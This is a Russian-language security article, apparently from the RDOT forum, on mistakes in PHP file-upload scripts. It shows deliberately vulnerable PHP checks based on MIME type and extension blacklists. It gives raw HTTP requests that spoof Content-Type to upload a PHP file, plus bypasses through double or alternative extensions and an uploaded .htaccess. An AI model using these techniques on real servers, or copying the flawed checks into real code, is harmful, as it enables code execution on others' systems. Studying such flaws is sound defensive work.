Ошибки при загрузке файлов на сервер по средствам php

2010-07-25T00:00:00
ID RDOT:393
Type rdot
Reporter (dm)
Modified 2010-07-25T00:00:00

Description

В этой статье рассмотрю общие ошибки которые могут быть допущены при организации загрузки файлов на сервер по средствам php. Эта статья не может претендовать на полный мануал, т.к. существует множество различных скриптов и алгоритмов.

Загрузка файлов на сервер осуществляется через html форму.

Цитата:

<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="userfile">
<input type="submit" value="Загрузить">
</form>



Рассмотрим типы содержимого формы (Content-Type):

> application/x-www-form-urlencoded - тип содержимого по умолчанию, неалфавитные символы заменяются '%HH', знаком процента и двумя 16-ричными цифрами, представляющими ASCII-код символа.

multipart/form-data - используется для отправки форм, содержащих файлы и бинарные данные. Данные никаким образом не кодируются.

Как говорилось выше при передаче файлов используется именно multipart/form-data, поэтому пытать скрипт, передачей в имени файла %00(нул байта) бессмысленно, если конечно имя файла не обрабатывается в скрипте через urldecode (что маловероятно). Все потому что данные передаются в бинарном виде.

Задача: Загрузка и выполнение php кода.

> + Проверка разрешенных для загрузки файлов на основе MIME-типа.
Пример уязвимого кода.

> > PHP код: > > <?php
//Разрешаем загрузку gif, jpg и png
$imgTypes = array('image/gif', 'image/jpeg', 'image/png');

if (!empty($_FILES['userfile']['tmp_name'])) {
$uploadfile = '/home/hosts/localhost/images/' . $_FILES['userfile']['name'];

//Проверка MIME-тип файла
if (!in_array($_FILES['userfile']['type'], $imgTypes))
die("<h1>Загрузка только изображений.</h1>");

move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}
?> > > Ошибка заключается в том что, MIME-тип можно подменить.

Сплоит:

> > Цитата: > > POST /upload.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=---------------------------46916613210664333281403337681
Content-Length: 224
-----------------------------46916613210664333281403337681
Content-Disposition: form-data; name="userfile"; filename="i.php"
Content-Type: image/gif

<?php phpinfo();?>

-----------------------------46916613210664333281403337681--
> ---
>
> Как видно Content-Type: image/gif, но имя файла i.php (совсем не gif).
В результате http://localhost/images/i.php - будет показан phpinfo();

> + Запрет на загрузку файлов с опасным расширением.
Пример уязвимого кода.

> > PHP код: > > <?php
//Запрещаем загрузку php, cgi, pl скриптов
$badExt = array('php', 'cgi', 'pl');

if (!empty($_FILES['userfile']['tmp_name'])) {
$ext = substr(strrchr($_FILES['userfile']['name'], '.'), 1);

//Проверка расширений.
if (in_array($ext, $badExt))
die("<h1>Запрещенное расширение.</h1>");

$uploadfile = '/home/hosts/localhost/images/' . $_FILES['userfile']['name'];

move_uploaded_file($FILES['userfile']['tmp_name'], $uploadfile);
}
?> > > В данном случае есть несколько вариантов обхода: > >> - передача файла с двойным расширением, при этом последнее расширение должно быть не известно веб серверу. Например _sh.php.xxx
, в таком случае файл может быть интерпретирован как php скрипт, зависит от настроек веб сервера.

- есть смысл попробовать передать файл с расширением php3, php4, php5, shtml, phtml

- попробовать загрузить .htaccess (AllowOverride All)
Например:

>> >> Цитата: >> >> <Files "my.jpg">
AddType application/x-httpd-php .jpg
</Files>
>> ---
>>
>> Далее загрузить файл my.jpg содержащий php код, и если все хорошо, то при обращении к my.jpg будет выполнен скрипт.

Задача: Раскрытие пути.

> + Ошибка максимальной длины имени файла.
Смысл заключается в том что если передать имя файла большее чем максимально возможное имя в файловой системе (Сравнение файловых систем), то увидим Warning и получим раскрытие пути.

Сплоит:

> > Цитата: > > Content-Disposition: form-data; name="userfile"; filename="a[>=256]"\r\n
> ---